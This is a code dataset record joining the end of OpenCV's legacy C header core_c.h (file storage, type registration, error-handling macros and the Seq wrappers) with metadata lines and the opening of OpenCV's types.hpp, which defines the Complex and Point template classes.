cvGetFileNodeByName( fs, map, name ), default_value ); } /** @brief Decodes an object and returns a pointer to it. The function decodes a user object (creates an object in a native representation from the file storage subtree) and returns it. The object to be decoded must be an instance of a registered type that supports the read method (see CvTypeInfo). The type of the object is determined by the type name that is encoded in the file. If the object is a dynamic structure, it is created either in memory storage and passed to cvOpenFileStorage or, if a NULL pointer was passed, in temporary memory storage, which is released when cvReleaseFileStorage is called. Otherwise, if the object is not a dynamic structure, it is created in a heap and should be released with a specialized function or by using the generic cvRelease. @param fs File storage @param node The root object node @param attributes Unused parameter */ CVAPI(void*) cvRead( CvFileStorage* fs, CvFileNode* node, CvAttrList* attributes CV_DEFAULT(NULL)); /** @brief Finds an object by name and decodes it. The function is a simple superposition of cvGetFileNodeByName and cvRead. @param fs File storage @param map The parent map. If it is NULL, the function searches a top-level node. @param name The node name @param attributes Unused parameter */ CV_INLINE void* cvReadByName( CvFileStorage* fs, const CvFileNode* map, const char* name, CvAttrList* attributes CV_DEFAULT(NULL) ) { return cvRead( fs, cvGetFileNodeByName( fs, map, name ), attributes ); } /** @brief Initializes the file node sequence reader. The function initializes the sequence reader to read data from a file node. The initialized reader can be then passed to cvReadRawDataSlice. @param fs File storage @param src The file node (a sequence) to read numbers from @param reader Pointer to the sequence reader */ CVAPI(void) cvStartReadRawData( const CvFileStorage* fs, const CvFileNode* src, CvSeqReader* reader ); /** @brief Initializes file node sequence reader. The function reads one or more elements from the file node, representing a sequence, to a user-specified array. The total number of read sequence elements is a product of total and the number of components in each array element. For example, if dt=2if, the function will read total\*3 sequence elements. As with any sequence, some parts of the file node sequence can be skipped or read repeatedly by repositioning the reader using cvSetSeqReaderPos. @param fs File storage @param reader The sequence reader. Initialize it with cvStartReadRawData . @param count The number of elements to read @param dst Pointer to the destination array @param dt Specification of each array element. It has the same format as in cvWriteRawData . */ CVAPI(void) cvReadRawDataSlice( const CvFileStorage* fs, CvSeqReader* reader, int count, void* dst, const char* dt ); /** @brief Reads multiple numbers. The function reads elements from a file node that represents a sequence of scalars. @param fs File storage @param src The file node (a sequence) to read numbers from @param dst Pointer to the destination array @param dt Specification of each array element. It has the same format as in cvWriteRawData . */ CVAPI(void) cvReadRawData( const CvFileStorage* fs, const CvFileNode* src, void* dst, const char* dt ); /** @brief Writes a file node to another file storage. The function writes a copy of a file node to file storage. Possible applications of the function are merging several file storages into one and conversion between XML, YAML and JSON formats. @param fs Destination file storage @param new_node_name New name of the file node in the destination file storage. To keep the existing name, use cvcvGetFileNodeName @param node The written node @param embed If the written node is a collection and this parameter is not zero, no extra level of hierarchy is created. Instead, all the elements of node are written into the currently written structure. Of course, map elements can only be embedded into another map, and sequence elements can only be embedded into another sequence. */ CVAPI(void) cvWriteFileNode( CvFileStorage* fs, const char* new_node_name, const CvFileNode* node, int embed ); /** @brief Returns the name of a file node. The function returns the name of a file node or NULL, if the file node does not have a name or if node is NULL. @param node File node */ CVAPI(const char*) cvGetFileNodeName( const CvFileNode* node ); /*********************************** Adding own types ***********************************/ /** @brief Registers a new type. The function registers a new type, which is described by info . The function creates a copy of the structure, so the user should delete it after calling the function. @param info Type info structure */ CVAPI(void) cvRegisterType( const CvTypeInfo* info ); /** @brief Unregisters the type. The function unregisters a type with a specified name. If the name is unknown, it is possible to locate the type info by an instance of the type using cvTypeOf or by iterating the type list, starting from cvFirstType, and then calling cvUnregisterType(info-\>typeName). @param type_name Name of an unregistered type */ CVAPI(void) cvUnregisterType( const char* type_name ); /** @brief Returns the beginning of a type list. The function returns the first type in the list of registered types. Navigation through the list can be done via the prev and next fields of the CvTypeInfo structure. */ CVAPI(CvTypeInfo*) cvFirstType(void); /** @brief Finds a type by its name. The function finds a registered type by its name. It returns NULL if there is no type with the specified name. @param type_name Type name */ CVAPI(CvTypeInfo*) cvFindType( const char* type_name ); /** @brief Returns the type of an object. The function finds the type of a given object. It iterates through the list of registered types and calls the is_instance function/method for every type info structure with that object until one of them returns non-zero or until the whole list has been traversed. In the latter case, the function returns NULL. @param struct_ptr The object pointer */ CVAPI(CvTypeInfo*) cvTypeOf( const void* struct_ptr ); #endif /** @brief Releases an object. The function finds the type of a given object and calls release with the double pointer. @param struct_ptr Double pointer to the object */ CVAPI(void) cvRelease( void** struct_ptr ); /** @brief Makes a clone of an object. The function finds the type of a given object and calls clone with the passed object. Of course, if you know the object type, for example, struct_ptr is CvMat\*, it is faster to call the specific function, like cvCloneMat. @param struct_ptr The object to clone */ CVAPI(void*) cvClone( const void* struct_ptr ); /*********************************** Measuring Execution Time ***************************/ /** helper functions for RNG initialization and accurate time measurement: uses internal clock counter on x86 */ CVAPI(int64) cvGetTickCount( void ); CVAPI(double) cvGetTickFrequency( void ); /*********************************** CPU capabilities ***********************************/ CVAPI(int) cvCheckHardwareSupport(int feature); /*********************************** Multi-Threading ************************************/ /** retrieve/set the number of threads used in OpenMP implementations */ CVAPI(int) cvGetNumThreads( void ); CVAPI(void) cvSetNumThreads( int threads CV_DEFAULT(0) ); /** get index of the thread being executed */ CVAPI(int) cvGetThreadNum( void ); /********************************** Error Handling **************************************/ /** Get current OpenCV error status */ CVAPI(int) cvGetErrStatus( void ); /** Sets error status silently */ CVAPI(void) cvSetErrStatus( int status ); #define CV_ErrModeLeaf 0 /* Print error and exit program */ #define CV_ErrModeParent 1 /* Print error and continue */ #define CV_ErrModeSilent 2 /* Don't print and continue */ /** Retrieves current error processing mode */ CVAPI(int) cvGetErrMode( void ); /** Sets error processing mode, returns previously used mode */ CVAPI(int) cvSetErrMode( int mode ); /** Sets error status and performs some additional actions (displaying message box, writing message to stderr, terminating application etc.) depending on the current error mode */ CVAPI(void) cvError( int status, const char* func_name, const char* err_msg, const char* file_name, int line ); /** Retrieves textual description of the error given its code */ CVAPI(const char*) cvErrorStr( int status ); /** Retrieves detailed information about the last error occurred */ CVAPI(int) cvGetErrInfo( const char** errcode_desc, const char** description, const char** filename, int* line ); /** Maps IPP error codes to the counterparts from OpenCV */ CVAPI(int) cvErrorFromIppStatus( int ipp_status ); typedef int (CV_CDECL *CvErrorCallback)( int status, const char* func_name, const char* err_msg, const char* file_name, int line, void* userdata ); /** Assigns a new error-handling function */ CVAPI(CvErrorCallback) cvRedirectError( CvErrorCallback error_handler, void* userdata CV_DEFAULT(NULL), void** prev_userdata CV_DEFAULT(NULL) ); /** Output nothing */ CVAPI(int) cvNulDevReport( int status, const char* func_name, const char* err_msg, const char* file_name, int line, void* userdata ); /** Output to console(fprintf(stderr,...)) */ CVAPI(int) cvStdErrReport( int status, const char* func_name, const char* err_msg, const char* file_name, int line, void* userdata ); /** Output to MessageBox(WIN32) */ CVAPI(int) cvGuiBoxReport( int status, const char* func_name, const char* err_msg, const char* file_name, int line, void* userdata ); #define OPENCV_ERROR(status,func,context) \ cvError((status),(func),(context),__FILE__,__LINE__) #define OPENCV_ASSERT(expr,func,context) \ {if (! (expr)) \ {OPENCV_ERROR(CV_StsInternal,(func),(context));}} #define OPENCV_CALL( Func ) \ { \ Func; \ } /** CV_FUNCNAME macro defines icvFuncName constant which is used by CV_ERROR macro */ #ifdef CV_NO_FUNC_NAMES #define CV_FUNCNAME( Name ) #define cvFuncName "" #else #define CV_FUNCNAME( Name ) \ static char cvFuncName[] = Name #endif /** CV_ERROR macro unconditionally raises error with passed code and message. After raising error, control will be transferred to the exit label. */ #define CV_ERROR( Code, Msg ) \ { \ cvError( (Code), cvFuncName, Msg, __FILE__, __LINE__ ); \ __CV_EXIT__; \ } /** CV_CHECK macro checks error status after CV (or IPL) function call. If error detected, control will be transferred to the exit label. */ #define CV_CHECK() \ { \ if( cvGetErrStatus() < 0 ) \ CV_ERROR( CV_StsBackTrace, "Inner function failed." ); \ } /** CV_CALL macro calls CV (or IPL) function, checks error status and signals a error if the function failed. Useful in "parent node" error processing mode */ #define CV_CALL( Func ) \ { \ Func; \ CV_CHECK(); \ } /** Runtime assertion macro */ #define CV_ASSERT( Condition ) \ { \ if( !(Condition) ) \ CV_ERROR( CV_StsInternal, "Assertion: " #Condition " failed" ); \ } #define __CV_BEGIN__ { #define __CV_END__ goto exit; exit: ; } #define __CV_EXIT__ goto exit /** @} core_c */ #ifdef __cplusplus } // extern "C" #endif #ifdef __cplusplus #include "opencv2/core/utility.hpp" namespace cv { //! @addtogroup core_c_glue //! @{ /////////////////////////////////////////// glue /////////////////////////////////////////// //! converts array (CvMat or IplImage) to cv::Mat CV_EXPORTS Mat cvarrToMat(const CvArr* arr, bool copyData=false, bool allowND=true, int coiMode=0, AutoBuffer<double>* buf=0); static inline Mat cvarrToMatND(const CvArr* arr, bool copyData=false, int coiMode=0) { return cvarrToMat(arr, copyData, true, coiMode); } //! extracts Channel of Interest from CvMat or IplImage and makes cv::Mat out of it. CV_EXPORTS void extractImageCOI(const CvArr* arr, OutputArray coiimg, int coi=-1); //! inserts single-channel cv::Mat into a multi-channel CvMat or IplImage CV_EXPORTS void insertImageCOI(InputArray coiimg, CvArr* arr, int coi=-1); ////// specialized implementations of DefaultDeleter::operator() for classic OpenCV types ////// template<> struct DefaultDeleter<CvMat>{ CV_EXPORTS void operator ()(CvMat* obj) const; }; template<> struct DefaultDeleter<IplImage>{ CV_EXPORTS void operator ()(IplImage* obj) const; }; template<> struct DefaultDeleter<CvMatND>{ CV_EXPORTS void operator ()(CvMatND* obj) const; }; template<> struct DefaultDeleter<CvSparseMat>{ CV_EXPORTS void operator ()(CvSparseMat* obj) const; }; template<> struct DefaultDeleter<CvMemStorage>{ CV_EXPORTS void operator ()(CvMemStorage* obj) const; }; ////////////// convenient wrappers for operating old-style dynamic structures ////////////// template<typename _Tp> class SeqIterator; typedef Ptr<CvMemStorage> MemStorage; /*! Template Sequence Class derived from CvSeq The class provides more convenient access to sequence elements, STL-style operations and iterators. \note The class is targeted for simple data types, i.e. no constructors or destructors are called for the sequence elements. */ template<typename _Tp> class Seq { public: typedef SeqIterator<_Tp> iterator; typedef SeqIterator<_Tp> const_iterator; //! the default constructor Seq(); //! the constructor for wrapping CvSeq structure. The real element type in CvSeq should match _Tp. Seq(const CvSeq* seq); //! creates the empty sequence that resides in the specified storage Seq(MemStorage& storage, int headerSize = sizeof(CvSeq)); //! returns read-write reference to the specified element _Tp& operator [](int idx); //! returns read-only reference to the specified element const _Tp& operator[](int idx) const; //! returns iterator pointing to the beginning of the sequence SeqIterator<_Tp> begin() const; //! returns iterator pointing to the element following the last sequence element SeqIterator<_Tp> end() const; //! returns the number of elements in the sequence size_t size() const; //! returns the type of sequence elements (CV_8UC1 ... CV_64FC(CV_CN_MAX) ...) int type() const; //! returns the depth of sequence elements (CV_8U ... CV_64F) int depth() const; //! returns the number of channels in each sequence element int channels() const; //! returns the size of each sequence element size_t elemSize() const; //! returns index of the specified sequence element size_t index(const _Tp& elem) const; //! appends the specified element to the end of the sequence void push_back(const _Tp& elem); //! appends the specified element to the front of the sequence void push_front(const _Tp& elem); //! appends zero or more elements to the end of the sequence void push_back(const _Tp* elems, size_t count); //! appends zero or more elements to the front of the sequence void push_front(const _Tp* elems, size_t count); //! inserts the specified element to the specified position void insert(int idx, const _Tp& elem); //! inserts zero or more elements to the specified position void insert(int idx, const _Tp* elems, size_t count); //! removes element at the specified position void remove(int idx); //! removes the specified subsequence void remove(const Range& r); //! returns reference to the first sequence element _Tp& front(); //! returns read-only reference to the first sequence element const _Tp& front() const; //! returns reference to the last sequence element _Tp& back(); //! returns read-only reference to the last sequence element const _Tp& back() const; //! returns true iff the sequence contains no elements bool empty() const; //! removes all the elements from the sequence void clear(); //! removes the first element from the sequence void pop_front(); //! removes the last element from the sequence void pop_back(); //! removes zero or more elements from the beginning of the sequence void pop_front(_Tp* elems, size_t count); //! removes zero or more elements from the end of the sequence void pop_back(_Tp* elems, size_t count); //! copies the whole sequence or the sequence slice to the specified vector void copyTo(std::vector<_Tp>& vec, const Range& range=Range::all()) const; //! returns the vector containing all the sequence elements operator std::vector<_Tp>() const; CvSeq* seq; }; /*! STL-style Sequence Iterator inherited from the CvSeqReader structure */ template<typename _Tp> class SeqIterator : public CvSeqReader { public: //! the default constructor SeqIterator(); //! the constructor setting the iterator to the beginning or to the end of the sequence SeqIterator(const Seq<_Tp>& seq, bool seekEnd=false); //! positions the iterator within the sequence void seek(size_t pos); //! reports the current iterator position size_t tell() const; //! returns reference to the current sequence element _Tp& operator *(); //! returns read-only reference to the current sequence element const _Tp& operator *() const; //! moves iterator to the next sequence element SeqIterator& operator ++(); //! moves iterator to the next sequence element SeqIterator operator ++(int) const; //! moves iterator to the previous sequence element SeqIterator& operator --(); //! moves iterator to the previous sequence element SeqIterator operator --(int) const; //! moves iterator forward by the specified offset (possibly negative) SeqIterator& operator +=(int); //! moves iterator backward by the specified offset (possibly negative) SeqIterator& operator -=(int); // this is index of the current element module seq->total*2 // (to distinguish between 0 and seq->total) int index; }; // bridge C++ => C Seq API CV_EXPORTS schar* seqPush( CvSeq* seq, const void* element=0); CV_EXPORTS schar* seqPushFront( CvSeq* seq, const void* element=0); CV_EXPORTS void seqPop( CvSeq* seq, void* element=0); CV_EXPORTS void seqPopFront( CvSeq* seq, void* element=0); CV_EXPORTS void seqPopMulti( CvSeq* seq, void* elements, int count, int in_front=0 ); CV_EXPORTS void seqRemove( CvSeq* seq, int index ); CV_EXPORTS void clearSeq( CvSeq* seq ); CV_EXPORTS schar* getSeqElem( const CvSeq* seq, int index ); CV_EXPORTS void seqRemoveSlice( CvSeq* seq, CvSlice slice ); CV_EXPORTS void seqInsertSlice( CvSeq* seq, int before_index, const CvArr* from_arr ); template<typename _Tp> inline Seq<_Tp>::Seq() : seq(0) {} template<typename _Tp> inline Seq<_Tp>::Seq( const CvSeq* _seq ) : seq((CvSeq*)_seq) { CV_Assert(!_seq || _seq->elem_size == sizeof(_Tp)); } template<typename _Tp> inline Seq<_Tp>::Seq( MemStorage& storage, int headerSize ) { CV_Assert(headerSize >= (int)sizeof(CvSeq)); seq = cvCreateSeq(DataType<_Tp>::type, headerSize, sizeof(_Tp), storage); } template<typename _Tp> inline _Tp& Seq<_Tp>::operator [](int idx) { return *(_Tp*)getSeqElem(seq, idx); } template<typename _Tp> inline const _Tp& Seq<_Tp>::operator [](int idx) const { return *(_Tp*)getSeqElem(seq, idx); } template<typename _Tp> inline SeqIterator<_Tp> Seq<_Tp>::begin() const { return SeqIterator<_Tp>(*this); } template<typename _Tp> inline SeqIterator<_Tp> Seq<_Tp>::end() const { return SeqIterator<_Tp>(*this, true); } template<typename _Tp> inline size_t Seq<_Tp>::size() const { return seq ? seq->total : 0; } template<typename _Tp> inline int Seq<_Tp>::type() const { return seq ? CV_MAT_TYPE(seq->flags) : 0; } template<typename _Tp> inline int Seq<_Tp>::depth() const { return seq ? CV_MAT_DEPTH(seq->flags) : 0; } template<typename _Tp> inline int Seq<_Tp>::channels() const { return seq ? CV_MAT_CN(seq->flags) : 0; } template<typename _Tp> inline size_t Seq<_Tp>::elemSize() const { return seq ? seq->elem_size : 0; } template<typename _Tp> inline size_t Seq<_Tp>::index(const _Tp& elem) const { return cvSeqElemIdx(seq, &elem); } template<typename _Tp> inline void Seq<_Tp>::push_back(const _Tp& elem) { cvSeqPush(seq, &elem); } template<typename _Tp> inline void Seq<_Tp>::push_front(const _Tp& elem) { cvSeqPushFront(seq, &elem); } template<typename _Tp> inline void Seq<_Tp>::push_back(const _Tp* elem, size_t count) { cvSeqPushMulti(seq, elem, (int)count, 0); } template<typename _Tp> inline void Seq<_Tp>::push_front(const _Tp* elem, size_t count) { cvSeqPushMulti(seq, elem, (int)count, 1); } template<typename _Tp> inline _Tp& Seq<_Tp>::back() { return *(_Tp*)getSeqElem(seq, -1); } template<typename _Tp> inline const _Tp& Seq<_Tp>::back() const { return *(const _Tp*)getSeqElem(seq, -1); } template<typename _Tp> inline _Tp& Seq<_Tp>::front() { return *(_Tp*)getSeqElem(seq, 0); } template<typename _Tp> inline const _Tp& Seq<_Tp>::front() const { return *(const _Tp*)getSeqElem(seq, 0); } template<typename _Tp> inline bool Seq<_Tp>::empty() const { return !seq || seq->total == 0; } template<typename _Tp> inline void Seq<_Tp>::clear() { if(seq) clearSeq(seq); } template<typename _Tp> inline void Seq<_Tp>::pop_back() { seqPop(seq); } template<typename _Tp> inline void Seq<_Tp>::pop_front() { seqPopFront(seq); } template<typename _Tp> inline void Seq<_Tp>::pop_back(_Tp* elem, size_t count) { seqPopMulti(seq, elem, (int)count, 0); } template<typename _Tp> inline void Seq<_Tp>::pop_front(_Tp* elem, size_t count) { seqPopMulti(seq, elem, (int)count, 1); } template<typename _Tp> inline void Seq<_Tp>::insert(int idx, const _Tp& elem) { seqInsert(seq, idx, &elem); } template<typename _Tp> inline void Seq<_Tp>::insert(int idx, const _Tp* elems, size_t count) { CvMat m = cvMat(1, count, DataType<_Tp>::type, elems); seqInsertSlice(seq, idx, &m); } template<typename _Tp> inline void Seq<_Tp>::remove(int idx) { seqRemove(seq, idx); } template<typename _Tp> inline void Seq<_Tp>::remove(const Range& r) { seqRemoveSlice(seq, cvSlice(r.start, r.end)); } template<typename _Tp> inline void Seq<_Tp>::copyTo(std::vector<_Tp>& vec, const Range& range) const { size_t len = !seq ? 0 : range == Range::all() ? seq->total : range.end - range.start; vec.resize(len); if( seq && len ) cvCvtSeqToArray(seq, &vec[0], cvSlice(range)); } template<typename _Tp> inline Seq<_Tp>::operator std::vector<_Tp>() const { std::vector<_Tp> vec; copyTo(vec); return vec; } template<typename _Tp> inline SeqIterator<_Tp>::SeqIterator() { memset(this, 0, sizeof(*this)); } template<typename _Tp> inline SeqIterator<_Tp>::SeqIterator(const Seq<_Tp>& _seq, bool seekEnd) { cvStartReadSeq(_seq.seq, this); index = seekEnd ? _seq.seq->total : 0; } template<typename _Tp> inline void SeqIterator<_Tp>::seek(size_t pos) { cvSetSeqReaderPos(this, (int)pos, false); index = pos; } template<typename _Tp> inline size_t SeqIterator<_Tp>::tell() const { return index; } template<typename _Tp> inline _Tp& SeqIterator<_Tp>::operator *() { return *(_Tp*)ptr; } template<typename _Tp> inline const _Tp& SeqIterator<_Tp>::operator *() const { return *(const _Tp*)ptr; } template<typename _Tp> inline SeqIterator<_Tp>& SeqIterator<_Tp>::operator ++() { CV_NEXT_SEQ_ELEM(sizeof(_Tp), *this); if( ++index >= seq->total*2 ) index = 0; return *this; } template<typename _Tp> inline SeqIterator<_Tp> SeqIterator<_Tp>::operator ++(int) const { SeqIterator<_Tp> it = *this; ++*this; return it; } template<typename _Tp> inline SeqIterator<_Tp>& SeqIterator<_Tp>::operator --() { CV_PREV_SEQ_ELEM(sizeof(_Tp), *this); if( --index < 0 ) index = seq->total*2-1; return *this; } template<typename _Tp> inline SeqIterator<_Tp> SeqIterator<_Tp>::operator --(int) const { SeqIterator<_Tp> it = *this; --*this; return it; } template<typename _Tp> inline SeqIterator<_Tp>& SeqIterator<_Tp>::operator +=(int delta) { cvSetSeqReaderPos(this, delta, 1); index += delta; int n = seq->total*2; if( index < 0 ) index += n; if( index >= n ) index -= n; return *this; } template<typename _Tp> inline SeqIterator<_Tp>& SeqIterator<_Tp>::operator -=(int delta) { return (*this += -delta); } template<typename _Tp> inline ptrdiff_t operator - (const SeqIterator<_Tp>& a, const SeqIterator<_Tp>& b) { ptrdiff_t delta = a.index - b.index, n = a.seq->total; if( delta > n || delta < -n ) delta += delta < 0 ? n : -n; return delta; } template<typename _Tp> inline bool operator == (const SeqIterator<_Tp>& a, const SeqIterator<_Tp>& b) { return a.seq == b.seq && a.index == b.index; } template<typename _Tp> inline bool operator != (const SeqIterator<_Tp>& a, const SeqIterator<_Tp>& b) { return !(a == b); } //! @} } // cv #endif #endif
128,653
core_c
h
en
c
code
{"qsc_code_num_words": 17685, "qsc_code_num_chars": 128653.0, "qsc_code_mean_word_length": 4.86174724, "qsc_code_frac_words_unique": 0.10534351, "qsc_code_frac_chars_top_2grams": 0.01860898, "qsc_code_frac_chars_top_3grams": 0.01013026, "qsc_code_frac_chars_top_4grams": 0.01339846, "qsc_code_frac_chars_dupe_5grams": 0.36017679, "qsc_code_frac_chars_dupe_6grams": 0.29287043, "qsc_code_frac_chars_dupe_7grams": 0.2437311, "qsc_code_frac_chars_dupe_8grams": 0.2129565, "qsc_code_frac_chars_dupe_9grams": 0.18324029, "qsc_code_frac_chars_dupe_10grams": 0.15360549, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00783004, "qsc_code_frac_chars_whitespace": 0.21775629, "qsc_code_size_file_byte": 128653.0, "qsc_code_num_lines": 3125.0, "qsc_code_num_chars_line_max": 317.0, "qsc_code_num_chars_line_mean": 41.16896, "qsc_code_frac_chars_alphabet": 0.84651921, "qsc_code_frac_chars_comments": 0.50573247, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1399689, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00155521, "qsc_code_frac_chars_string_length": 0.00430892, "qsc_code_frac_chars_long_word_length": 0.00108509, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00031452, "qsc_code_frac_lines_prompt_comments": 0.00032, "qsc_code_frac_lines_assert": 0.00622084, "qsc_codec_frac_lines_func_ratio": 0.18273717, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 2, "qsc_codec_frac_lines_goto": 0.00155521, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.19906687, "qsc_codec_frac_lines_print": 0.0007776, "qsc_codec_frac_lines_preprocessor_directives": null}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 1, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/types.hpp
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Copyright (C) 2013, OpenCV Foundation, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_TYPES_HPP #define OPENCV_CORE_TYPES_HPP #ifndef __cplusplus # error types.hpp header must be compiled as C++ #endif #include <climits> #include <cfloat> #include <vector> #include <limits> #include "opencv2/core/cvdef.h" #include "opencv2/core/cvstd.hpp" #include "opencv2/core/matx.hpp" namespace cv { //! @addtogroup core_basic //! @{ //////////////////////////////// Complex ////////////////////////////// /** @brief A complex number class. The template class is similar and compatible with std::complex, however it provides slightly more convenient access to the real and imaginary parts using through the simple field access, as opposite to std::complex::real() and std::complex::imag(). */ template<typename _Tp> class Complex { public: //! default constructor Complex(); Complex( _Tp _re, _Tp _im = 0 ); //! conversion to another data type template<typename T2> operator Complex<T2>() const; //! conjugation Complex conj() const; _Tp re, im; //< the real and the imaginary parts }; typedef Complex<float> Complexf; typedef Complex<double> Complexd; template<typename _Tp> class DataType< Complex<_Tp> > { public: typedef Complex<_Tp> value_type; typedef value_type work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 2, fmt = DataType<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Complex<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Complex<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 2) }; }; } // namespace //////////////////////////////// Point_ //////////////////////////////// /** @brief Template class for 2D points specified by its coordinates `x` and `y`. An instance of the class is interchangeable with C structures, CvPoint and CvPoint2D32f . There is also a cast operator to convert point coordinates to the specified type. The conversion from floating-point coordinates to integer coordinates is done by rounding. Commonly, the conversion uses this operation for each of the coordinates. Besides the class members listed in the declaration above, the following operations on points are implemented: @code pt1 = pt2 + pt3; pt1 = pt2 - pt3; pt1 = pt2 * a; pt1 = a * pt2; pt1 = pt2 / a; pt1 += pt2; pt1 -= pt2; pt1 *= a; pt1 /= a; double value = norm(pt); // L2 norm pt1 == pt2; pt1 != pt2; @endcode For your convenience, the following type aliases are defined: @code typedef Point_<int> Point2i; typedef Point2i Point; typedef Point_<float> Point2f; typedef Point_<double> Point2d; @endcode Example: @code Point2f a(0.3f, 0.f), b(0.f, 0.4f); Point pt = (a + b)*10.f; cout << pt.x << ", " << pt.y << endl; @endcode */ template<typename _Tp> class Point_ { public: typedef _Tp value_type; //! default constructor Point_(); Point_(_Tp _x, _Tp _y); Point_(const Point_& pt); Point_(Point_&& pt) CV_NOEXCEPT; Point_(const Size_<_Tp>& sz); Point_(const Vec<_Tp, 2>& v); Point_& operator = (const Point_& pt); Point_& operator = (Point_&& pt) CV_NOEXCEPT; //! conversion to another data type template<typename _Tp2> operator Point_<_Tp2>() const; //! conversion to the old-style C structures operator Vec<_Tp, 2>() const; //! dot product _Tp dot(const Point_& pt) const; //! dot product computed in double-precision arithmetics double ddot(const Point_& pt) const; //! cross-product double cross(const Point_& pt) const; //! checks whether the point is inside the specified rectangle bool inside(const Rect_<_Tp>& r) const; _Tp x; //!< x coordinate of the point _Tp y; //!< y coordinate of the point }; typedef Point_<int> Point2i; typedef Point_<int64> Point2l; typedef Point_<float> Point2f; typedef Point_<double> Point2d; typedef Point2i Point; template<typename _Tp> class DataType< Point_<_Tp> > { public: typedef Point_<_Tp> value_type; typedef Point_<typename DataType<_Tp>::work_type> work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 2, fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Point_<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Point_<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 2) }; }; } // namespace //////////////////////////////// Point3_ //////////////////////////////// /** @brief Template class for 3D points specified by its coordinates `x`, `y` and `z`. An instance of the class is interchangeable with the C structure CvPoint2D32f . Similarly to Point_ , the coordinates of 3D points can be converted to another type. The vector arithmetic and comparison operations are also supported. The following Point3_\<\> aliases are available: @code typedef Point3_<int> Point3i; typedef Point3_<float> Point3f; typedef Point3_<double> Point3d; @endcode @see cv::Point3i, cv::Point3f and cv::Point3d */ template<typename _Tp> class Point3_ { public: typedef _Tp value_type; //! default constructor Point3_(); Point3_(_Tp _x, _Tp _y, _Tp _z); Point3_(const Point3_& pt); Point3_(Point3_&& pt) CV_NOEXCEPT; explicit Point3_(const Point_<_Tp>& pt); Point3_(const Vec<_Tp, 3>& v); Point3_& operator = (const Point3_& pt); Point3_& operator = (Point3_&& pt) CV_NOEXCEPT; //! conversion to another data type template<typename _Tp2> operator Point3_<_Tp2>() const; //! conversion to cv::Vec<> operator Vec<_Tp, 3>() const; //! dot product _Tp dot(const Point3_& pt) const; //! dot product computed in double-precision arithmetics double ddot(const Point3_& pt) const; //! cross product of the 2 3D points Point3_ cross(const Point3_& pt) const; _Tp x; //!< x coordinate of the 3D point _Tp y; //!< y coordinate of the 3D point _Tp z; //!< z coordinate of the 3D point }; typedef Point3_<int> 